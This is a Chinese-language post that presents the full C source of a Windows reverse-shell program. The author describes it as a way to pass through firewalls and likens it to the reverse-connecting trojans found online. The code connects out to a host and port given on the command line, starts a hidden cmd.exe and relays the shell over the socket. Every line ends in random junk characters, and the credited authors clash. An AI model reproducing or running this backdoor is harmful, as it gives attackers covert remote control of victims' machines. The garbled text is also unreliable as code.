这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p5C
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/* ============================== a#1LGH7E8
Rebound port in Windows NT qH6DZ|
By wind,2006/7 QEM")(
===============================*/ yXNE2K
#include pFSVSSQRV|
#include 5;V#Z@S
r2.87
#pragma comment(lib,"wsock32.lib") uLb-
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void OutputShell(); d@"eWvnlZ
SOCKET sClient; -!MDYj +U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w2~(/RgO
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void main(int argc,char **argv) `h S<F"
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{ %H-[u}s
WSADATA stWsaData; *|Re,cY
int nRet; ~0fT*lp
SOCKADDR_IN stSaiClient,stSaiServer; AEi@t0By
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if(argc != 3) N|Ua|^
{ W.\HfJ74
printf("Useage:\n\rRebound DestIP DestPort\n"); i#1T68y}
return; P58U8MEG
} 44?5]C7
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WSAStartup(MAKEWORD(2,2),&stWsaData); (k
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); v%&f00
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stSaiClient.sin_family = AF_INET; !j4C:L3F
stSaiClient.sin_port = htons(0); "JVzv U]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5%?La`C9[
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vw9^otJu
{ *@G4i
printf("Bind Socket Failed!\n"); Dt1{]~30
return; #X"\:yN
} v5wI?HE
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stSaiServer.sin_family = AF_INET; q) /;|h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %8$JL=c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ^i-%FY_i5}
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 'A!Dg
{ uA!T@>vl
printf("Connect Error!"); B0 q![
return; 8t}=?:B+{
} ^Sy\<
OutputShell(); l$,l3
} 2t[c^J
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void OutputShell() Jkm\{;
{ <l wI| <
char szBuff[1024]; I6y&6g
SECURITY_ATTRIBUTES stSecurityAttributes; yc]ni.Hz
OSVERSIONINFO stOsversionInfo; 0 nWV1)Q0=
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H
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STARTUPINFO stStartupInfo; h#]}J}si
char *szShell; ;
tvB{s_
PROCESS_INFORMATION stProcessInformation; OM!ES%c,
unsigned long lBytesRead; (:+IS
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4C01=,6ye
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &%qD Som3
stSecurityAttributes.lpSecurityDescriptor = 0; )r?i^D&4
stSecurityAttributes.bInheritHandle = TRUE; o,\%c"mC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Rdt8jY6F/
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); U%k e5uwP
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 1LPfn(
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'b661,+d
stStartupInfo.wShowWindow = SW_HIDE; ?783LBe
stStartupInfo.hStdInput = hReadPipe; hD>:WJ
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; wmo'Pl
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GetVersionEx(&stOsversionInfo); &@+K%qW[e
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switch(stOsversionInfo.dwPlatformId) @/$mZ]|T
{ RX2=
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case 1: "bf8[D
szShell = "command.com"; k}lx!Ck
break; Z7.)[
;
default: [PX'Jer
szShell = "cmd.exe"; BLaXp0
break; 'dU$QO
} Jh466;
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lh#GD"^(w&
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send(sClient,szMsg,77,0); GV[%P
while(1) :!} zdeRJ
{ lC_zSmT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E0O{5YF^T
if(lBytesRead) FJ U)AjS~
{ ^w&TTo(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )D[xY0Y~
send(sClient,szBuff,lBytesRead,0); }7.q[ ^oF
} EL}v>sC
else f2yv7t
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{ =]zPUzr,|
lBytesRead=recv(sClient,szBuff,1024,0); f "&q~V4?
if(lBytesRead<=0) break; b%PVF&C9W
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); }?fa+FQGp
} J$EEpL
} KFfwZkj{
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return; 4l$8lYi
}